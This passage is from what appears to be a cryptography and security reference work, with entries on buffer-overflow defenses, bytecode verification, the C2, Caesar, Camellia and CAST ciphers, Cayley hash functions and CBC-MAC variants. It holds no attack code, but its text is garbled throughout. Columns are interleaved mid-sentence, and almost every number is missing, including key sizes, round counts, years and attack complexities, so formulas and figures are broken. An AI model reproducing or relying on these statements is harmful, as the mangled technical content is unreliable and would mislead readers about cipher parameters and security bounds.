tactically valid but semantically random inputs is provided Another widely adopted defense is the use of canaries
to an application under test. A human is needed to guide by the compiler []. Canaries are pseudo-variables that
the process, at least initially, in defining what constitutes hold a different value (unpredictable to the attacker) every
acceptable input syntax, etc. The bulk of the testing itself is time a program executes, placed next to the return address
done automatically. When checking for buffer overflows, field of each function frame in the stack. Programs com-
the testing regime will attempt to provide large inputs to piled with such a compiler include code that sets and
the program. If a buffer overflow vulnerability is triggered, checks the canary prior to every function invocation and
Bytecode Verication B
return. A buffer overflow will cause the value of the canary . Barrantes E, Ackley D, Forrest S, Palmer T, Stefanovic D,
to change, since the attacker has no way to know what Zovi D () Randomized instruction set emulation to disrupt
binary code injection attacks. In: ACM CCS, Washington, DC,
value was chosen for that invocation of the program. If
pp
the canary has changed from its assigned value, an alarm . Abadi M, Budiu M, Erlingsson U, Ligatti J () Control-flow
is raised and program execution is stopped before the
attacker has an opportunity to hijack program execution.
integrity. In: ACM CCS, New York, pp
. Suh G, Lee J, Zhang D, Devadas S () Secure program execu-
B
Due to the difficulty of resolving pointer aliases, this tech- tion via dynamic information flow tracking. In: ASPLOS, New
York, pp
nique can generally only be applied against stack overrun
. Crandall J, Chong F () Minos: control data attack pre-
attacks. vention orthogonal to memory model. In: MICRO, Portland,
Other noteworthy research efforts include Instruc- pp
tion Set Randomization (ISR) [, ], Control Flow . Kiriansky V, Bruening D, Amarasinghe S () Secure execu-
Integrity (CFI) [], Taint Tracking [, ], and Program tion via program shepherding. In: USENIX security symposium,
San Francisco, pp
Shepherding [], among others. There has also been sig-
. Akritidis P, Markatos E, Polychronakis M, Anagnostakis K
nificant effort in identifying and blocking buffer overflow () STRIDE: polymorphic sled detection through instruc-
attacks in the network []. tion sequence analysis. In: IFIP security, Milano, pp
Open Problems
Research in the problem of buffer overflow vulnerabili-
ties continues, both on the attack side (with the advent of Buer Overrun
heap spraying and ROP attacks) and on defenses. The lat-
ter space is motivated both by the new attacks and by the Buffer Overflow Attacks
desire to identify lower-runtime-overhead, higher-code-
coverage defenses that do not require significant (if any)
changes to the way programmers write code. Ideally, such
defenses would have a sound theoretical (or at least formal) Bytecode Verication
foundation, and would be suitable against other types of
similar attacks, e.g., multistage, file-dropping attacks. Jean-Louis Lanet
XLIM, Department of Mathematics and Computer
Recommended Reading Science, University of Limoges, Limoges, France
. Levy E () Smashing the stack for fun and profit. Phrack
Mag ():. http://www.phrack.org/issues.html?issue=&
id=&mode=txt
. Shacham H () The geometry of innocent flesh on the bone: Denition
return-into-libc without function calls (on the x). In: ACM Mechanism used by the Java Virtual Machine (JVM) to
CCS, Alexandria, pp chek the Java Language typing rules on a client device. This
. Chen S, Xu J, Sezer E, Gauriar P, Iyer R () Non-control-data
algorithm includes type inference and fix point calculus.
attacks are realistic threats. In: USENIX security symposium,
Baltimore, pp
. Cadar C, Ganesh V, Pawlowski P, Dill D, Engler D () Background
EXE: automatically generating inputs of death. In: ACM CCS, The bytecode verification algorithm for the JVM has been
Alexandria, pp
developed at Sun by Gosling and Yellin. It is based on
. Bhatkar S, DuVarney D, Sekar R () Address obfuscation:
an efficient approach to combat a broad range of memory error a dataflow analysis performed by an abstract interpreter
exploits. In: USENIX security symposium, Washington, DC, that executes JVM instruction over types instead of val-
pp ues. This verification is done at loading time that allows
. Shacham H, Page M, Pfaff B, Goh EJ, Modadugu N, Boneh D the interpreter to be executed without checks safely.
() On the effectiveness of address-space randomization.
In: ACM CCS, Washington, DC, pp
. Cowan C, Pu C, Maier D, Hinton H, Bakke P, Beattie S, Grier A, Applications
Wagle P, Zhang Q () Stackguard: automatic detection and The byte code verification aims to enforce static security
prevention of buffer-overflow attacks. In: USENIX security
constraints on Java-based mobile code: the applet. Such a
symposium, San Antonio, pp
. Kc G, Keromytis A, Prevelakis V () Countering code-
code can be downloaded and executed on a personal device
injection attacks with instruction-set randomization. In: ACM running a browser. This popular model raises security
CCS, Washington, DC, pp issues concerning the access to personal information on
B Bytecode Verication
the client side. To avoid it, Java uses a strong typed language the typeon top of the stack must be the expected type or
associated to a sandbox model during applet execution. a comparable type. A natural way to determine how com-
The Java language is a strongly typed language. For parable types are is to rank all types in a lattice L. The most
example, arithmetic operations on pointers are not allowed general type is called top and represents the absence of
to avoid that a malicious code has access to memory loca- information. This defines a complete partial order on the
tion outside the applet. This restriction must be checked lattice L. The post-condition expresses the transition rules
during the compilation process and the code execution of the state before and after the abstract interpretation of
because the code should have been modified between the the byte code.
compilation and execution phase. The code is executed Branches introduce forks and join the methods
within a virtual machine allowing a complete control on flowchart. If execution paths yield different types for a
code execution. Unfortunately, performing all the checks given variable, only the least common ancestor type in
at run time will lead to poor run-time performances. Thus, the lattice L of all the predecessors paths is used to verify
the JVM performs a static analysis at loading time called the preconditions. The least common ancestor operation
class verification []. This verification includes bytecode is called unification. Then, the algorithm needs to evalu-
verification to make sure that the byte code of the applet ate the type of all variables at each program points for all
is proved to be semantically correct and cannot execute execution paths. This needs several iterations until a fixed
ill-typed operations at run time. point is reached: no more type modifications are required.
Class file verification is made of four passes. Passes Once the abstract interpretation reaches all the return
and check the binary format of the class file, exclud- instructions of the method with all preconditions satisfied,
ing the part that constitutes methods code. This is the then the byte code is considered as well typed. In order to
responsability of the third pass to verify that a sequence of make such verification possible it is quite conservative on
bytecodes constitutes valid code for an individual method. the programs that are accepted.
The last pass consists in checking that symbolic references Lightweight byte code verification has been introduced
from instructions to classes, interfaces, fields, and meth- by Necula and Lee [] in order to include byte code ver-
ods are correct. The third pass called bytecode verification ification to ressource-constrained devices. It consists in
is the most challenging one. The other passes are relatively adding a proof of the program safety to the byte code. This
straightforward and do not present major difficulties. The proof can be generated by the code producer (a server),
constraints that the correct bytecode must adhere to can be and the code is transmitted along with its safety proof. The
divided into two groups: static and structural constraints. code receiver can then verify the proof in order to ensure
Static constraints ensure that the bytecode sequence can be the program safety. As checking the proof is simpler than
interpreted as a valid sequence of instructions taking the generating it, the verification process can be performed on
right number of arguments. Structural constraints check a constrained device.
whether a bytecode sequence constitutes valid code for a An adaptation of this technique to Java has been pro-
method: variables are well typed, stack is confined, objects posed by Rose [] and is now used by Suns KVM. (The K
are safely used, etc. virtual machine is designed for products with only some
A JVM is a conventional stack-based machine. Most kilobytes of memory.) In this context, the proof consists
instructions pop their arguments of the stack, and push in additional type information corresponding to the con-
back their results on the stack. In addition, a set of local tent of local variables and stack element for the branch
variables is provided and stored in the Java frame. They targets. Those typing information correspond to the result
can be accessed via load and store instructions that push of the fix-point computation performed by a conventional
the value of a given local variable on the stack, or store byte code verifier. In this case, the verification process con-
the top of the stack in the given local variable, respec- sists in a linear pass that checks the validity of this typing
tively. Structural constraints are much more complicated information with respect to the verified code.
to check, since they have to be met for any execution path
of the method. Number of possible execution paths may Recommended Reading
be very high. This is achieved by a type-based abstract . Yellin F, Lindholm T () The Java virtual machine specifica-
interpretation that executes JVM instruction over types tion. Addison Wesley
instead of values. Each byte code is defined by precon- . Lee P, Necula G () Proof-carrying code. In th ACM
SIGPLAN-SIGACT Symposium on Principles of Programming
ditions: the required state (in term of data type) of the
Languages, pp , Paris
stack before the current byte code interpretation and . Rose KH, Rose E () Lightweight bytecode verification. In For-
post-conditions: the state after the execution. The abstract mal Underpinnings of Java, OOPSLA Workshop, Vancouver,
interpreter must verify if the preconditions are met, i.e., Canada
C
X Y, X Y respectively, bitwise XOR, addition
C Block Cipher modulo of words X and Y,
Lars R. Knudsen, Gregor Leander The round function can be described as

Department of Mathematics, Technical University
of Denmark, Lyngby, Denmark Li+ = Ri
X = (Ri rki ) 0x2765ca00
Related Concepts Zi,.. = S[Xi,.. ]
Block Ciphers Zi,.. = Xi,.. rotl (Zi,.. , )
Zi,.. = Xi,.. rotl (Zi,.. , )
Denition Zi,.. = Xi,.. rotl (Zi,.. , )
C is a -bit block cipher developed by C Entity. It has a
-bit key and a secret S-box mapping on eight bits. Ri+ = Li (Zi rotl (Zi , ) rotl (Zi , )) ,
i = , . . . , ,
Background
C is the short name for Cryptomeria, a proprietary block where rki is a -bit round key.
cipher defined and licensed by the C Entity (a consor- The key schedule produces ten round keys rk , . . . , rk
tium consisting of IBM, Intel, Matsushita and Toshiba) from the -bit master key K in the following way:
[]. According to Wikipedia, It (...) was designed for the
CPRM/CPPM Digital Rights Management scheme which
Ki = rotl (K, i)
is used by DRM-restricted Secure Digital cards and DVD-
rki = Ki,.. (S [Ki,.. i] ) , i = , . . . ,
Audio discs. []. C Entity has published a specification of
C in [].
Both the round transformation and the key scheduling use
an -bit secret S-box S. An example S-box provided by
Theory
C for the purpose of validating the implementations is
C is a -round Feistel cipher with -bit blocks and -
available online [].
bit keys. The S-box is secret and available under license
from the C Entity. Therefore, one might consider the S-
box as part of the secret key. A CPRM compliant device
is given a set of secret device keys when manufactured. Li Ui Zi Yi Xi Ri
Xi, 31
These keys are used to decrypt certain data of the media C
to be protected, in order to derive the media keys which 2
have been used in the encryption of the main media data. rki
9
The device keys can be revoked. The following notation will

5
be used:
22
Li , Ri left and right word after i rounds of encryption 1

Xi, 7
(L , R is plaintext) S
rotlm (b, n) cyclic rotation of m-bit sequence b by n Xi, 0
positions left
Xi,j j-th bit of word Xi
Xi,p..q sequence of consecutive bits Xi,p , Xi,p+ , . . . , Xi,q , C Block Cipher. Fig. Illustration of the round transforma-
e.g. Xi,.. is the least significant byte of Xi tion of C, where C = 0x2765ca00
C Csar Cipher
Experimental Results alphabet. For instance, when the key has the value , the
Borghoff et al. [] lists three cryptanalytical attacks on C. plaintext word cleopatra will be encrypted by the cipher-
When an attacker is allowed to set the encryption key once text word fohrsdwud. Augustus allegedly found this too
and then encrypt chosen plaintexts, he can recover the difficult and always took the next letter. Breaking the Csar
secret S-box with queries to the device and a reason- cipher is almost trivial: there are only possible keys to
able precomputation phase. The attack implemented on a check (exhaustive key search) and after the first four or five
PC recovers the whole S-box in a few seconds. If the S-box letters are decrypted the solution is usually unique.
is known to the attacker, there is a boomerang attack that
recovers the value of the secret -bit key with complexity Recommended Reading
equivalent to C encryptions. When both the key and . Bauer FL () Decrypted secrets. In: Methods and maxims of
the S-box are unknown to the attacker, there is an attack cryptology. Springer, Berlin
that recovers both of them with complexity of around .
queries to the encryption device.
Recommended Reading Camellia

. Borghoff J, Knudsen LR, Leander G, Matusiewicz K ()
Cryptanalysis of C. In: Halevi S (ed) Advances in cryptology Christophe De Cannire
CRYPTO . Lecture notes in computer science, vol . Department of Electrical Engineering, Katholieke
. C Block Cipher Specification, Revision .. http://www.
Centity.com, . Used to be available online from C Entity,
can be downloaded e.g. from: http://edipermadi.files.wordpress.
com///cryptomeria- c- spec.pdf. Accessed Mar
Related Concepts
. C Entity, Wikipedia article. http://en.wikipedia.org/wiki/C_
Block Ciphers; Feistel Cipher
Entity. Accessed Feb
. Cryptomeria cipher, Wikipedia article. http://en.wikipedia.org/ Camellia [] is a block cipher designed in by a
wiki/Cryptomeria_cipher. Accessed Feb team of cryptographers from NTT and Mitsubishi Electric
. C Entity, C facsimile s-box. http://www.centity.com/docs/ Corporation. It was submitted to different standardiza-
C_Facsimile_S- Box.txt. Accessed Mar tion bodies and was included in the NESSIE Portfolio of
recommended cryptographic primitives in .
Camellia encrypts data in blocks of bits and accepts
-bit, -bit, and -bit secret keys. The algorithm is
Csar Cipher a byte-oriented Feistel cipher and has or rounds
depending on the key length. The F-function used in
Friedrich L. Bauer the Feistel structure can be seen as a -round -byte
Kottgeisering, Germany substitution-permutation (SP) network. The substitution
layer consists of eight -bit S-boxes applied in par-
Related Concepts allel, chosen from a set of four different affine equiva-
Encryption; Symmetric Cryptosystem lent transformations of the inversion function in GF( )
(Rijndael/AES). The permutation layer, called the P-
Denition function, is a network of byte-wise exclusive ORs and is
The Csar cipher is one of the most simple cryptosystems, designed to have a branch number of (which is the max-
with a monoalphabetic encryption: by counting down in imum for such a network). An additional particularity
the cyclically closed ordering of an alphabet, a specified of Camellia, which it shares with MISTY and KASUMI
number of steps. (KASUMI/MISTY), is the FL-layers. These layers of key-
Csar encryptions are special linear substitution dependent linear transformations are inserted between
(Substitutions and Permutations) with n = and the every six rounds of the Feistel network, and thus break the
identity as homogeneous part . Interesting linear substi- regular round structure of the cipher (Fig. ).
tutions with n have been patented by Lester S. Hill In order to generate the subkeys used in the F-
in . functions, the secret key is first expanded to a -bit
or -bit value by applying four or six rounds of the
Background Feistel network. The key schedule (Block Cipher) then
Julius Csar is reported to have replaced each letter in constructs the necessary subkeys by extracting different
the plaintext by the one standing three places further in the pieces from this bit string.
M(128)
kw1(64) kw2(64)
L0(64) R0(64)
k1(64),k2(64),k3(64), L0(64) R0(64)

k1(64)
k4(64),k5(64),k6(64)
6-Round F Ki(64)
L1(64) R1(64)
k2(64) Y8 Z8
X 8(8) S1 Z8(8)
kl1(64) F Y7 Z7
FL FL1 kl2(64) X 7(8) S4 Z7(8)
L2(64) R2(64)
k3(64) Y6 Z6
K7(64),K8(64),K9(64), X 6(8) S3 Z6(8)
K10(64),K11(64),K12(64) F Y5 Z5
6-Round X 5(8) S2 Z5(8)
L3(64) R3(64) Y4
k4(64) Z4
X 4(8) S4 Z4(8)
F Y3 Z3
X 3(8) S3 Z3(8)
kl3(64) L4(64) R4(64) Y2
FL FL1 kl2(64) k5(64) X 2(8) S2
Z2
Z2(8)
F Y1 Z1
k13(64),k14(64),k15(64), X 1(8) S1 Z1(8)
k16(64),k17(64),k18(64) L5(64) R5(64)
6-Round k6(64)
S-Function P-Function
F
L18(64) R18(64)
kw3(64) kw4(64)
C(128)
Camellia. Fig. Camellia: encryption for -bit keys and details of F-function
Camellia
C

C
C Cascade Revoke
The best attacks on reduced-round Camellia published CAST is a design procedure for symmetric cryptosys-
so far are square and rectangle attacks (Integral Attack and tems developed by C. Adams and S. Tavares in [, ].
Boomerang Attack). The nine-round square attack pre- In accordance with this procedure, a series of DES-like
sented by Yeom et al. [] requires chosen plaintexts block ciphers was produced (Data Encryption Standard
and an amount of work equivalent to encryptions. (DES)), the most widespread being the -bit block cipher
The rectangle attack proposed by Shirai [] breaks ten CAST-. The latest member of the family, the -bit
rounds with chosen plaintexts and requires mem- block cipher CAST-, was designed in and submit-
ory accesses. Hatano, Sekine, and Kaneko [] also analyze ted as a candidate for the Advanced Encryption Standard
an -round variant of Camellia using higher order differ- (Rijndael/AES).
entials. The attack would require chosen ciphertexts, All CAST algorithms are based on a Feistel cipher (a
but is not likely to be much faster than an exhaustive generalized Feistel network in the case of CAST-). A
search for the key, even for -bit keys. distinguishing feature of the CAST ciphers is the particular
Note that more rounds can be broken if the FL-layers construction of the f -function used in each Feistel round.
are discarded. A linear attack on a -round variant of The general structure of this function is depicted in Fig. .
Camellia without FL-layers is presented in []. The attack The data entering the f -function is first combined with a
requires known plaintexts and recovers the key after subkey and then split into a number of pieces. Each piece
performing a computation equivalent to encryptions. is fed into a separate expanding S-box based on bent func-
tions (nonlinearity of Boolean functions). Finally, the
Recommended Reading output words of these S-boxes are recombined one by one
. Aoki K, Ichikawa T, Kanda M, Matsui M, Moriai S, Nakajima J, to form the final output. Both CAST- and CAST- use
Tokita T () Camellia: a -bit block cipher suitable for mul-
tiple platformsdesign and analysis. In: Stinson DR, Tavares SE
(eds) Selected areas in cryptography, SAC . Lecture notes in 32-bit data half
. Hatano Y, Sekine H, Kaneko T () Higher order differential
attack of Camellia (II). In: Heys H, Nyberg K (eds) Selected areas
in cryptography, SAC . Lecture notes in computer science.
Springer, Berlin, pp a Ki
. Shirai T () Differential, linear, boomerang and rectangle
cryptanalysis of reduced-round Camellia. In: Proceedings of
the third NESSIE workshop, NESSIE, November , Munich,
Germany
8 8 8 8
. Yeom Y, Park S, Kim I () On the security of Camellia against
the square attack. In: Daemen J, Rijmen V (eds) Fast software
encryption, FSE . Lecture notes in computer science, vol
S-box 1 S-box 2
Cascade Revoke b
Recursive Revoke
32 S-box 3
c
Cast
Christophe De Cannire 32 S-box 4
Universiteit Leuven, Leuven-Heverlee, Belgium d
32
Related Concepts
Block Ciphers; Feistel Cipher Cast. Fig. CASTs f -function
Cayley Hash Functions C
three different -bit f -functions based on this construc- Background

tion. All three use the same four -bit S-boxes but differ The idea of using Cayley graphs for building hash func-
in the operations used to combine the data or key words tions was introduced by Zmor in a first proposal back in
(the operations a, b, c, and d in Fig. ). The CAST ciphers []. After cryptanalysis of the first scheme, a second
are designed to support different key sizes and have a vari- scheme following the same lines was proposed by Tillich
able number of rounds. CAST- allows key sizes between and Zmor []. The design was rediscovered more than
and bits and uses or rounds. CAST- has years later by Charles et al. []. Many of the initial concrete
rounds and supports key sizes up to bits. proposals have been broken today, but the existing attacks
C
The first CAST ciphers were found to have some weak- either do not generalize or can be thwarted easily. The very
nesses. Rijmen et al. [] presented attacks exploiting the interesting properties of the generic design suggest to look
nonsurjectivity of the f -function in combination with an for other, more secure instances.
undesirable property of the key schedule. Kelsey et al. []
demonstrated that the early CAST ciphers were vulnerable Theory
to related key attacks. Moriai et al. [] analyzed simplified Let G be a non-Abelian group and let S = {s , ..., sk } be
versions of CAST- and presented a five-round attack a subset thereof such that si sj , s
j for any i j. The ele-
using higher order differentials. ments of S are called the generators. Let m = m m ...m be
a message represented in base k, i.e., mi {, ..., k } for
Recommended Reading all i (e.g., mi are bits if k = ). The Cayley hash function
. Adams CM () Constructing symmetric ciphers using the HG,S is defined from G and S by
CAST design procedure. Des Codes Cryptogr ():
HG,S (m) := sm sm ... sm
. Adams CM, Tavares SE () Designing S-boxes for ciphers
resistant to differential cryptanalysis. In: Wolfowicz W (ed) Pro- where represents the group operation. The construction
ceedings of the rd symposium on state and progress of research
can be extended to symmetric sets S = {s , ..., sk , s
, ...,
in cryptography. Fondazione Ugo Bordoni, pp
. Kelsey J, Schneier B, Wagner D () Related-key cryptanal- s
k } at the price of a small modification []. The name
ysis of -WAY, Biham-DES, CAST, DES-X, NewDES, RC, and Cayley hash function comes after Cayley graphs which are
TEA. In: Han Y, Okamoto T, Qing S (eds) International con- defined as follows. If G is a group and S = {s , ..., sk } is
ference on information and communications security, ICICS. a subset thereof, the vertices of the Cayley graph GG,S are
Lecture notes in computer science, vol . Springer-Verlag,
Berlin, pp
identified with the elements of G, and its edges are (g, gs)
. Moriai S, Shimoyama T, Kaneko T () Higher order differ- for every g G and s S. The computation of a Cayley hash
ential attack of CAST cipher. In: Vaudenay S (ed) Fast software value may be seen as a walk in the corresponding Cayley
encryption, FSE. Lecture notes in computer science, vol . graph.
Springer-Verlag, Berlin, pp Due to the associativity of the group law, Cayley hash
. Rijmen V, Preneel B, De Win E () On weaknesses of non-
surjective round functions. Des Codes Cryptogr ():
functions have inherent parallelism, a very interesting
property to produce efficient implementations. Moreover,
their main properties can be reinterpreted and analyzed
as properties of the group G or the graph GG,S , an inter-
esting feature for analysts. On the other hand, Cayley
Cayley Hash Functions hash functions suffer from an inherent form of malleabil-
ity (requiring some additional design to obtain pseudo-
Christophe Petit, Jean-Jacques Quisquater random-like properties), and the cryptographic hardness
Microelectronics Laboratory, Universit catholique de assumption on which collision resistance relies has not
Louvain, Louvain-la-Neuve, Belgium been as well established as the hardness of integer factor-
ization or discrete logarithms.
Many cryptographic schemes rely on the hardness of
Related Concepts the discrete logarithm problem in some Abelian groups,
Collision Resistance; Hash Functions; One-Way most notably finite multiplicative groups and elliptic
Functions curves. On the other hand, the collision and preimage
resistance of Cayley hash functions relies on problems that
Denition can be seen as generalizations of the discrete logarithm
Cayley hash functions are collision-resistant hash func- problem to non-Abelian groups. The hardness of these
tions constructed from Cayley graphs of non-Abelian problems seems to depend not only on the group G but
groups. also on the set of generators S. For the three constructions
C CBC-MAC and Variants
mentioned above [, , ] that use some matrix groups and Denition

particular generators, efficient collision and preimage algo- CBC-MAC is a MAC algorithm based on the Cipher Block
rithms have now been discovered [, , ]. The attacks Chaining (CBC) mode of a block cipher. In the CBC
do not seem to generalize easily since the authors of these mode, the previous ciphertext is xored to the plaintext
papers have suggested small modifications in the genera- block before the block cipher is applied. The MAC value
tors to thwart them. is derived from the last ciphertext block.
The Cayley hash construction can also be extended
to other regular graphs, not necessarily Cayley, but at the Background
price of loosing the associativity and the group-theoretical CBC-MAC is one of the oldest and most popular MAC
perspective. In some cases, collision and preimage resis- algorithms. The idea of constructing a MAC algorithm
tances can still be linked to mathematical problems []. based on a block cipher was first described in the open
literature by Campbell in []. A MAC based on
Open Problems the CBC-mode (and on the CFB mode) is described in
The main open problem is to find parameters that make FIPS []. The first MAC algorithm standards are ANSI
this construction both efficient and secure. X. (first edition in ) [] and FIPS (dating back
to ) []. The first formal analysis of CBC-MAC was
Recommended Reading presented by Bellare et al. in []. Since then, many
. Charles D, Goren E, Lauter K () Cryptographic hash func- variants and improvements have been proposed.
tions from expander graphs. J Cryptol ():
. Grassl M, Ilic I, Magliveras S, Steinwandt R () Crypt-
analysis of the Tillich-Zmor hash function. Cryptology ePrint
Theory
Archive, Report /, . http://eprint.iacr.org/. J Cryptol Simple CBC-MAC
(to appear)
. Petit C, Lauter K, Quisquater J-J () Full cryptanalysis of LPS
In the following, the block length and key length of the
and Morgenstern hash functions. In: Ostrovsky R, Prisco RD, Vis- block cipher will be denoted with n and k, respectively.
conti I (eds) SCN, Lecture notes in computer science, vol . The length in bits of the MAC value will be denoted with
Springer, Heidelberg, pp m. The encryption and decryption with the block cipher
. Petit C, Quisquater J-J () Preimages for the Tillich-zmor E using the key K will be denoted by EK (.) and DK (.),
hash function. In: Alex Biryukov, Guang Gong, Douglos Stinson
(eds), SAC (to appear in LNCS revie)
respectively. An n-bit string consisting of zeroes will be
. Tillich J-P, Zmor G () Hashing with SL. In: Desmedt Y (ed) denoted with n .
CRYPTO, Lecture notes in computer science, vol . Springer, CBC-MAC is an iterated MAC algorithm, which con-
Heidelberg, pp sists of the following steps (see also Fig. ):
. Tillich J-P, Zmor G () Collisions for the LPS expander graph
hash function. In: Smart NP (ed) EUROCRYPT, Lecture Notes in Padding and splitting of the input. The goal of this
computer Science, vol . Springer, pp step is to divide the input into t blocks of length n;
. Tillich J-P, Zmor G () Group-theoretic hash functions. In: before this can be done, a padding algorithm needs to
Proceedings of the First French-Israeli Workshop on Algebraic
Coding, London, UK, Springer-Verlag, pp
be applied. The most common padding method can be
. Zmor G () Hash functions and graphs with large girhts. In: described as follows []. Let the message string before
EUROCRYPT, pp padding be x = x , x , . . . , xt , with x = x = =
xt = n (here xi denotes the size of the string xi in
CBC-MAC and Variants IV

x1 x2 xt
Bart Preneel
Department of Electrical Engineering-ESAT/COSIC, K K K
E E E
H1 H2 Ht
Related Concepts CBC-MAC and Variants. Fig. CBC-MAC, where the MAC value
Block Ciphers; MAC Algorithms is g(Ht )
CBC-MAC and Variants C
bits). If xt = n append an extra block xt + consist- Given MAC(x), MAC(xy), and MAC(x ), one
ing of one one-bit followed by n zero bits, such that knows that MAC(x y ) = MAC(xy) if y =
xt + = n and set t = t + ; otherwise, append a one-bit y MAC(x) MAC(x ), where y and y are single
and n xt zero bits, s.t. xt = n and set t = t. A blocks.
simpler padding algorithm (also included in []) con-
A common way to preclude these simple forgery attacks is
sists of appending n xt zero bits and setting t = t.
to replace the output transform g by a truncation to m < n
This padding method is not recommended as it allows
for trivial forgeries.
bits; m = is a very popular choice for CBC-MAC based C
on DES (n = ). However, Knudsen has shown that a
CBC-MAC computation, which iterates the following
forgery attack on this scheme requires (nm)/ chosen
operation:
texts and two known texts [], which is only chosen
texts for n = and m = . Note that this is substan-
Hi = EK (Hi xi ) , i t .
tially better than an internal collision attack. The proof of
security for fixed length inputs still applies, however.
The initial value is equal to the all zero string, or H =
In order to describe attack parameters in a compact
n (note that for the CBC encryption mode a random
way, an attack is quantified by the -tuple [a, b, c, d], where
value H is recommended).
Output transformation: The MAC value is computed a is the number of off-line block cipher encipherments
as MACK (x) = g(Ht ), where g is the output b is the number of known text-MAC pairs
transformation. c is the number of chosen text-MAC pairs
d is the number of on-line MAC verifications
Note that the CBC-MAC computation is inherently serial:
the processing of block i + can only start if the process- Attacks are often probabilistic; in that case, the parameters
ing of block i has been completed; this is a disadvantage indicated result in a large success probability (typically at
compared to a parallel MAC algorithm such as PMAC. least .). As an example, the complexity of exhaustive key
The simplest CBC-MAC construction is obtained search is [k , k/m, , ] and for a MAC guessing attack it
when the output transformation g() is the identity func- is [, , , m ].
tion. Bellare et al. [] have provided a security proof for this
scheme; later on, tighter bounds have been proved [, ]. Variants of CBC-MAC
Both proofs are based on the pseudorandomness of the For most of these schemes, a forgery attack based on inter-
block cipher and requires that the inputs are of fixed length. nal collisions applies with complexity [, n/ , , ] for m =
It shows a lower bound for the number of chosen texts n and [, n/ , min(n/ , nm ), ] for m < n (Proposition
that are required to distinguish the MAC algorithm from and in MAC algorithms).
a random function, which demonstrates that CBC-MAC The EMAC scheme uses as output transformation g the
is a pseudorandom function. Note that this is a stronger encryption of the last block with a different key. It was first
requirement than being a secure MAC as this requires proposed by the RIPE Consortium in []:
just unpredictability or computation resistance. An almost
matching upper bound to this attack is provided by an g(Ht ) = EK (Ht ) = EK (EK (xt Ht )) ,
internal collision attack based on the birthday paradox
where K is a key derived from K. Petrank and Rackoff have
(along the lines of Proposition of MAC algorithms,
proved a lower bound in [], which shows that this MAC
[, ]). The attack obtains a MAC forgery; it requires a
algorithm is secure up to the birthday bound with inputs of
single chosen text and about n/ known texts; for a -
arbitrary lengths. The bound was subsequently tightened
bit block cipher such as DES, this corresponds to
in [, ].
known texts; for a -bit block cipher such as AES, this
A further optimization by Black and Rogaway []
number increases to .
reduces the overhead due to padding and requires only
If the input is not of fixed length, very simple forgery
one block cipher key and two masking keys; it is known
attacks apply to this scheme:
as XCBC (or three-key MAC). The OMAC algorithm by
Given MAC(x), one knows that MACK (x(x Iwata and Kurosawa [] reduces the number of keys to
MACK (x))) = MACK (x) (for a single block x). one by deriving the masking keys from the block cipher
Given MAC(x) and MAC(x ) one knows that key. NIST has standardized this algorithm under the name
MACK (x(x MACK (x))) = MACK (x ) (for a single CMAC []; the entry on CMAC gives more details on
block x ). XCBC, OMAC/CMAC.
C CBC-MAC and Variants
Nandi has generalized a broad class of determinis- sent with the MAC value):
tic MAC algorithms and presents in [] generic lower
g(Ht ) = EK R (Ht ) .
bounds for this class; for some constructions, these bounds
improve on the known bounds. The RMAC constructions offer increased resistance against
Because of the -bit key length, CBC-MAC with forgery attacks based on internal collisions, but it has the
DES no longer offers adequate security. Several construc- disadvantage that its security proof requires resistance of
tions exist to increase the key length of the MAC algorithm. the underlying block cipher against related key attacks.
No lower bounds on the security of these schemes against A security analysis of this scheme can be found in [,
key recovery are known. ]. The best-known attack strategy against RMAC is to
A widely used solution is the ANSI retail MAC, which recover K : once K is known, the security of RMAC
first appeared in []. Rather than replacing DES by triple- reduces to that of simple CBC-MAC. For m = n,
DES, one processes only the last block with -key triple- the complexities are [ks + kn , , s , n ] or [ks +
DES, which corresponds to an output transformation g kn , , , s+n + n ], while for m < n the com-
consisting of a double-DES encryption: plexities are [ks + km , , s , n/m + (n+m)/ ]
and [ks + km , , , n/m + (n+m)/ + s+m ]. A
g(Ht ) = EK (DK (Ht )) .
variant which exploits multiple collisions has complexity
When used with DES, the key length of this MAC algo- [k /(u/t), , (t/e)(t)nt , ] with u = t + t(t )/ (for
rithm is bits. However, Preneel and van Oorschot m = n). These attacks show that the security level of RMAC
have shown that n/ known texts allow for a key recov- is smaller than anticipated. However, when RMAC is used
ery in only k encryptions, compared to k encryp- with -key triple-DES, the simple key off-setting technique
tions for exhaustive key search [] (note that for DES is insecure; Knudsen and Mitchell [] show a full key
n = and k = ). If m < n, this attack requires recovery attack with complexity [ , , , ], which
an additional nm chosen texts. The complexity of these is much lower than anticipated. RMAC was included in
attacks is thus [k+ , n/ , , ] and [k+ , n/ , nm , ]. NISTs draft special publication []; however, this
Several key recovery attacks require mostly MAC verifi- draft has been withdrawn.
cations, with the following parameters: [k , , , k ] [], Minematsu describes in [] two other randomized
[k+ , (max(k, n)+)/m, , (knm+)/mn )] [] constructions, called MAC-R and MAC-R, together with
and for m < n: [k+ , , , (n/m + ) (n+m)/ ] []. a lower bound based on the pseudorandomness of the
The security of the ANSI retail MAC can be improved block cipher; both require a few additional encryptions
at no cost in performance by introducing a double DES compared to OMAC and EMAC. In order to clarify the
encryption in the first and last iteration; this scheme is difference in the security bounds, a scenario is defined in
know as MacDES []: which an adversary has a forgery probability of . If the
block cipher has a block length n = bits, and if messages
H = EK (EK (X )) and g(Ht ) = EK (Ht ) .
are of length = blocks, the maximum amount of data
Here, K can be derived from K or both can be derived that can be protected is . Mbyte for CMAC, . Gbyte
from a common key. The best known key recovery for EMAC, . Gbyte for RMAC, . Tbyte for MAC-R,
attack due to Coppersmith et al. [] has complexity and . Tbyte for MAC-R.
[k+ , n/+ , s n/ , ], for small s ; with truncation GPP-MAC [] uses a larger internal memory of n
of the output to m = n/ bits, this complexity increases to bits as it also stores the sum of the intermediate values
[k+s + k+p , , n+p , k+ ] with space complexity ks . of the MAC computation. The MAC value is computed as
These attacks assume that a serial number is included in follows:
the first block; if this precaution is not taken, key recovery
MAC = g(EK (H H Ht )) .
attacks have complexities similar to the ANSI retail MAC:
[k+ , n/ , , ] and [k+ , , , k ] []. Knudsen and Mitchell analyze this scheme in []. If g is the
Several attempts have been made to increase the resis- identity function, the extra computation and storage does
tance against forgery attacks based on internal collisions. not pay off: there exist forgery attacks that require only n/
A first observation is that the use of serial numbers is not known texts, and the complexity of key recovery attacks
sufficient []. is similar to that of the ANSI retail MAC. However, trun-
RMAC, proposed by Jaulmes et al. [], introduces in cating the output increases the complexity of these attacks
the output transformation a derived key K that is modified to an adequate level. For the GPP application, the -bit
with a randomizer or salt R (which needs to be stored or block cipher KASUMI is used with a -bit key and with
CBC-MAC and Variants C
